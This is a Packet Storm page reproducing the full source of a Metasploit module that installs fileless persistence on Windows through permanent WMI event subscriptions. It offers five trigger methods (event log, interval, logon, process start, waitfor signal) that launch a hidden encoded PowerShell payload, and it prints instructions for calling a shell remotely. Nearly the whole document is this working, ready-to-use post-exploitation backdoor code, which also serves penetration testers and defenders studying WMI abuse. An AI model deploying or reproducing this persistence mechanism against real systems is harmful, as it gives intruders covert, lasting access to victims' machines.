exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

WMI Event Subscription Persistence

WMI Event Subscription Persistence
Posted Jul 11, 2017
Authored by Nick Tyrer | Site metasploit.com

This Metasploit module will create a permanent WMI event subscription to achieve file-less persistence using one of five methods.

tags | exploit
SHA-256 | 6cc7043e42bb5e5ed553be783eb82dc49a1d6d71419ee1e770ef5ea1fa3ffbdb

WMI Event Subscription Persistence

Change Mirror Download
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core/exploit/powershell'
require 'msf/core/post/windows/powershell'
require 'msf/core/post/file'

class MetasploitModule < Msf::Exploit::Local

include Msf::Post::Windows::Powershell
include Msf::Exploit::Powershell
include Post::Windows::Priv
include Msf::Post::File

def initialize(info = {})
super(update_info(info,
'Name' => 'WMI Event Subscription Persistence',
'Description' => %q{
This module will create a permanent WMI event subscription to achieve file-less persistence using one
of five methods. The EVENT method will create an event filter that will query the event log for an EVENT_ID_TRIGGER
(default: failed logon request id 4625) that also contains a specified USERNAME_TRIGGER (note: failed logon auditing
must be enabled on the target for this method to work, this can be enabled using "auditpol.exe /set /subcategory:Logon
/failure:Enable"). When these criteria are met a command line event consumer will trigger an encoded powershell payload.
The INTERVAL method will create an event filter that triggers the payload after the specified CALLBACK_INTERVAL. The LOGON
method will create an event filter that will trigger the payload after the system has an uptime of 4 minutes. The PROCESS
method will create an event filter that triggers the payload when the specified process is started. The WAITFOR method
creates an event filter that utilises the microsoft binary waitfor.exe to wait for a signal specified by WAITFOR_TRIGGER
before executing the payload. The signal can be sent from a windows host on a LAN utilising the waitfor.exe command
(note: requires target to have port 445 open). Additionally a custom command can be specified to run once the trigger is
activated using the advanced option CUSTOM_PS_COMMAND. This module requires administrator level privileges as well as a
high integrity process. It is also recommended not to use stageless payloads due to powershell script length limitations.
},
'Author' => ['Nick Tyrer <@NickTyrer>'],
'License' => MSF_LICENSE,
'Privileged' => true,
'Platform' => 'win',
'SessionTypes' => ['meterpreter'],
'Targets' => [['Windows', {}]],
'DisclosureDate' => 'Jun 6 2017',
'DefaultTarget' => 0,
'DefaultOptions' =>
{
'DisablePayloadHandler' => 'true'
},
'References' => [
['URL', 'https://www.blackhat.com/docs/us-15/materials/us-15-Graeber-Abusing-Windows-Management-Instrumentation-WMI-To-Build-A-Persistent%20Asynchronous-And-Fileless-Backdoor-wp.pdf'],
['URL', 'https://learn-powershell.net/2013/08/14/powershell-and-events-permanent-wmi-event-subscriptions/']
]
))

register_options([
OptEnum.new('PERSISTENCE_METHOD',
[true, 'Method to trigger the payload.', 'EVENT', ['EVENT','INTERVAL','LOGON','PROCESS', 'WAITFOR']]),
OptInt.new('EVENT_ID_TRIGGER',
[true, 'Event ID to trigger the payload. (Default: 4625)', 4625]),
OptString.new('USERNAME_TRIGGER',
[true, 'The username to trigger the payload. (Default: BOB)', 'BOB' ]),
OptString.new('PROCESS_TRIGGER',
[true, 'The process name to trigger the payload. (Default: CALC.EXE)', 'CALC.EXE' ]),
OptString.new('WAITFOR_TRIGGER',
[true, 'The word to trigger the payload. (Default: CALL)', 'CALL' ]),
OptInt.new('CALLBACK_INTERVAL',
[true, 'Time between callbacks (In milliseconds). (Default: 1800000).', 1800000 ]),
OptString.new('CLASSNAME',
[true, 'WMI event class name. (Default: UPDATER)', 'UPDATER' ])
])

register_advanced_options(
[
OptString.new('CUSTOM_PS_COMMAND',
[false, 'Custom powershell command to run once the trigger is activated. (Note: some commands will need to be encolsed in quotes)', false, ]),
])
end


def exploit
unless have_powershell?
print_error("This module requires powershell to run")
return
end

unless is_admin?
print_error("This module requires admin privs to run")
return
end

unless is_high_integrity?
print_error("This module requires UAC to be bypassed first")
return
end

if is_system?
print_error("This module cannot run as System")
return
end

host = session.session_host
print_status('Installing Persistence...')

case datastore['PERSISTENCE_METHOD']
when 'LOGON'
psh_exec(subscription_logon)
print_good "Persistence installed!"
remove_persistence
when 'INTERVAL'
psh_exec(subscription_interval)
print_good "Persistence installed!"
remove_persistence
when 'EVENT'
psh_exec(subscription_event)
print_good "Persistence installed! Call a shell using \"smbclient \\\\\\\\#{host}\\\\C$ -U "+datastore['USERNAME_TRIGGER']+" <arbitrary password>\""
remove_persistence
when 'PROCESS'
psh_exec(subscription_process)
print_good "Persistence installed!"
remove_persistence
when 'WAITFOR'
psh_exec(subscription_waitfor)
print_good "Persistence installed! Call a shell using \"waitfor.exe /S #{host} /SI "+datastore['WAITFOR_TRIGGER']+"\""
remove_persistence
end
end


def build_payload
if datastore['CUSTOM_PS_COMMAND']
script_in = datastore['CUSTOM_PS_COMMAND']
compressed_script = compress_script(script_in, eof = nil)
encoded_script = encode_script(compressed_script, eof = nil)
generate_psh_command_line(noprofile: true, windowstyle: 'hidden', encodedcommand: encoded_script)
else
cmd_psh_payload(payload.encoded, payload_instance.arch.first, encode_final_payload: true, remove_comspec: true)
end
end


def subscription_logon
command = build_payload
class_name = datastore['CLASSNAME']
<<-HEREDOC
$filter = Set-WmiInstance -Namespace root/subscription -Class __EventFilter -Arguments @{EventNamespace = 'root/cimv2'; Name = \"#{class_name}\"; Query = \"SELECT * FROM __InstanceModificationEvent WITHIN 60 WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System' AND TargetInstance.SystemUpTime >= 240 AND TargetInstance.SystemUpTime < 325\"; QueryLanguage = 'WQL'}
$consumer = Set-WmiInstance -Namespace root/subscription -Class CommandLineEventConsumer -Arguments @{Name = \"#{class_name}\"; CommandLineTemplate = \"#{command}\"}
$FilterToConsumerBinding = Set-WmiInstance -Namespace root/subscription -Class __FilterToConsumerBinding -Arguments @{Filter = $Filter; Consumer = $Consumer}
HEREDOC
end


def subscription_interval
command = build_payload
class_name = datastore['CLASSNAME']
callback_interval = datastore['CALLBACK_INTERVAL']
<<-HEREDOC
$timer = Set-WmiInstance -Namespace root/cimv2 -Class __IntervalTimerInstruction -Arguments @{ IntervalBetweenEvents = ([UInt32] #{callback_interval}); SkipIfPassed = $false; TimerID = \"Trigger\"}
$filter = Set-WmiInstance -Namespace root/subscription -Class __EventFilter -Arguments @{EventNamespace = 'root/cimv2'; Name = \"#{class_name}\"; Query = \"Select * FROM __TimerEvent WHERE TimerID = 'trigger'\"; QueryLanguage = 'WQL'}
$consumer = Set-WmiInstance -Namespace root/subscription -Class CommandLineEventConsumer -Arguments @{Name = \"#{class_name}\"; CommandLineTemplate = \"#{command}\"}
$FilterToConsumerBinding = Set-WmiInstance -Namespace root/subscription -Class __FilterToConsumerBinding -Arguments @{Filter = $Filter; Consumer = $Consumer}
HEREDOC
end


def subscription_event
command = build_payload
event_id = datastore['EVENT_ID_TRIGGER']
username = datastore['USERNAME_TRIGGER']
class_name = datastore['CLASSNAME']
<<-HEREDOC
$filter = Set-WmiInstance -Namespace root/subscription -Class __EventFilter -Arguments @{EventNamespace = 'root/cimv2'; Name = \"#{class_name}\"; Query = \"SELECT * FROM __InstanceCreationEvent WITHIN 60 WHERE TargetInstance ISA 'Win32_NTLogEvent' AND Targetinstance.EventCode = '#{event_id}' And Targetinstance.Message Like '%#{username}%'\"; QueryLanguage = 'WQL'}
$consumer = Set-WmiInstance -Namespace root/subscription -Class CommandLineEventConsumer -Arguments @{Name = \"#{class_name}\"; CommandLineTemplate = \"#{command}\"}
$FilterToConsumerBinding = Set-WmiInstance -Namespace root/subscription -Class __FilterToConsumerBinding -Arguments @{Filter = $Filter; Consumer = $Consumer}
HEREDOC
end


def subscription_process
command = build_payload
class_name = datastore['CLASSNAME']
process_name = datastore['PROCESS_TRIGGER']
<<-HEREDOC
$filter = Set-WmiInstance -Namespace root/subscription -Class __EventFilter -Arguments @{EventNamespace = 'root/cimv2'; Name = \"#{class_name}\"; Query = \"SELECT * FROM Win32_ProcessStartTrace WHERE ProcessName= '#{process_name}'\"; QueryLanguage = 'WQL'}
$consumer = Set-WmiInstance -Namespace root/subscription -Class CommandLineEventConsumer -Arguments @{Name = \"#{class_name}\"; CommandLineTemplate = \"#{command}\"}
$FilterToConsumerBinding = Set-WmiInstance -Namespace root/subscription -Class __FilterToConsumerBinding -Arguments @{Filter = $Filter; Consumer = $Consumer}
HEREDOC
end


def subscription_waitfor
command = build_payload
word = datastore['WAITFOR_TRIGGER']
class_name = datastore['CLASSNAME']
<<-HEREDOC
$filter = Set-WmiInstance -Namespace root/subscription -Class __EventFilter -Arguments @{EventNamespace = 'root/cimv2'; Name = \"#{class_name}\"; Query = \"SELECT * FROM __InstanceDeletionEvent WITHIN 5 WHERE TargetInstance ISA 'Win32_Process' AND Targetinstance.Name = 'waitfor.exe'\"; QueryLanguage = 'WQL'}
$consumer = Set-WmiInstance -Namespace root/subscription -Class CommandLineEventConsumer -Arguments @{Name = \"#{class_name}\"; CommandLineTemplate = \"cmd.exe /C waitfor.exe #{word} && #{command} && taskkill /F /IM cmd.exe\"}
$FilterToConsumerBinding = Set-WmiInstance -Namespace root/subscription -Class __FilterToConsumerBinding -Arguments @{Filter = $Filter; Consumer = $Consumer}
$filter1 = Set-WmiInstance -Namespace root/subscription -Class __EventFilter -Arguments @{EventNamespace = 'root/cimv2'; Name = \"Telemetrics\"; Query = \"SELECT * FROM __InstanceModificationEvent WITHIN 60 WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System' AND TargetInstance.SystemUpTime >= 240 AND TargetInstance.SystemUpTime < 325\"; QueryLanguage = 'WQL'}
$consumer1 = Set-WmiInstance -Namespace root/subscription -Class CommandLineEventConsumer -Arguments @{Name = \"Telemetrics\"; CommandLineTemplate = \"waitfor.exe #{word}\"}
$FilterToConsumerBinding = Set-WmiInstance -Namespace root/subscription -Class __FilterToConsumerBinding -Arguments @{Filter = $Filter1; Consumer = $Consumer1}
Start-Process -FilePath waitfor.exe #{word} -NoNewWindow
HEREDOC
end


def log_file
host = session.session_host
filenameinfo = "_" + ::Time.now.strftime("%Y%m%d.%M%S")
logs = ::File.join(Msf::Config.log_directory, 'wmi_persistence',
Rex::FileUtils.clean_path(host + filenameinfo))
::FileUtils.mkdir_p(logs)
logfile = ::File.join(logs, Rex::FileUtils.clean_path(host + filenameinfo) + '.rc')
end


def remove_persistence
name_class = datastore['CLASSNAME']
clean_rc = log_file
if datastore['PERSISTENCE_METHOD'] == "WAITFOR"
clean_up_rc = ""
clean_up_rc << "execute -H -f wmic -a \"/NAMESPACE:\\\"\\\\\\\\root\\\\subscription\\\" PATH __EventFilter WHERE Name=\\\"Telemetrics\\\" DELETE\"\n"
clean_up_rc << "execute -H -f wmic -a \"/NAMESPACE:\\\"\\\\\\\\root\\\\subscription\\\" PATH CommandLineEventConsumer WHERE Name=\\\"Telemetrics\\\" DELETE\"\n"
clean_up_rc << "execute -H -f wmic -a \"/NAMESPACE:\\\"\\\\\\\\root\\\\subscription\\\" PATH __FilterToConsumerBinding WHERE Filter='__EventFilter.Name=\\\"Telemetrics\\\"' DELETE\"\n"
clean_up_rc << "execute -H -f wmic -a \"/NAMESPACE:\\\"\\\\\\\\root\\\\subscription\\\" PATH __EventFilter WHERE Name=\\\"#{name_class}\\\" DELETE\"\n"
clean_up_rc << "execute -H -f wmic -a \"/NAMESPACE:\\\"\\\\\\\\root\\\\subscription\\\" PATH CommandLineEventConsumer WHERE Name=\\\"#{name_class}\\\" DELETE\"\n"
clean_up_rc << "execute -H -f wmic -a \"/NAMESPACE:\\\"\\\\\\\\root\\\\subscription\\\" PATH __FilterToConsumerBinding WHERE Filter='__EventFilter.Name=\\\"#{name_class}\\\"' DELETE\""
else
clean_up_rc = ""
clean_up_rc << "execute -H -f wmic -a \"/NAMESPACE:\\\"\\\\\\\\root\\\\subscription\\\" PATH __EventFilter WHERE Name=\\\"#{name_class}\\\" DELETE\"\n"
clean_up_rc << "execute -H -f wmic -a \"/NAMESPACE:\\\"\\\\\\\\root\\\\subscription\\\" PATH CommandLineEventConsumer WHERE Name=\\\"#{name_class}\\\" DELETE\"\n"
clean_up_rc << "execute -H -f wmic -a \"/NAMESPACE:\\\"\\\\\\\\root\\\\subscription\\\" PATH __FilterToConsumerBinding WHERE Filter='__EventFilter.Name=\\\"#{name_class}\\\"' DELETE\""
end
file_local_write(clean_rc, clean_up_rc)
print_status("Clean up Meterpreter RC file: #{clean_rc}")
end
end
Login or Register to add favorites

File Archive:

August 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Aug 1st
    15 Files
  • 2
    Aug 2nd
    22 Files
  • 3
    Aug 3rd
    0 Files
  • 4
    Aug 4th
    0 Files
  • 5
    Aug 5th
    15 Files
  • 6
    Aug 6th
    11 Files
  • 7
    Aug 7th
    43 Files
  • 8
    Aug 8th
    42 Files
  • 9
    Aug 9th
    36 Files
  • 10
    Aug 10th
    0 Files
  • 11
    Aug 11th
    0 Files
  • 12
    Aug 12th
    27 Files
  • 13
    Aug 13th
    18 Files
  • 14
    Aug 14th
    50 Files
  • 15
    Aug 15th
    33 Files
  • 16
    Aug 16th
    23 Files
  • 17
    Aug 17th
    0 Files
  • 18
    Aug 18th
    0 Files
  • 19
    Aug 19th
    43 Files
  • 20
    Aug 20th
    29 Files
  • 21
    Aug 21st
    42 Files
  • 22
    Aug 22nd
    26 Files
  • 23
    Aug 23rd
    25 Files
  • 24
    Aug 24th
    0 Files
  • 25
    Aug 25th
    0 Files
  • 26
    Aug 26th
    21 Files
  • 27
    Aug 27th
    28 Files
  • 28
    Aug 28th
    15 Files
  • 29
    Aug 29th
    0 Files
  • 30
    Aug 30th
    0 Files
  • 31
    Aug 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2024 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close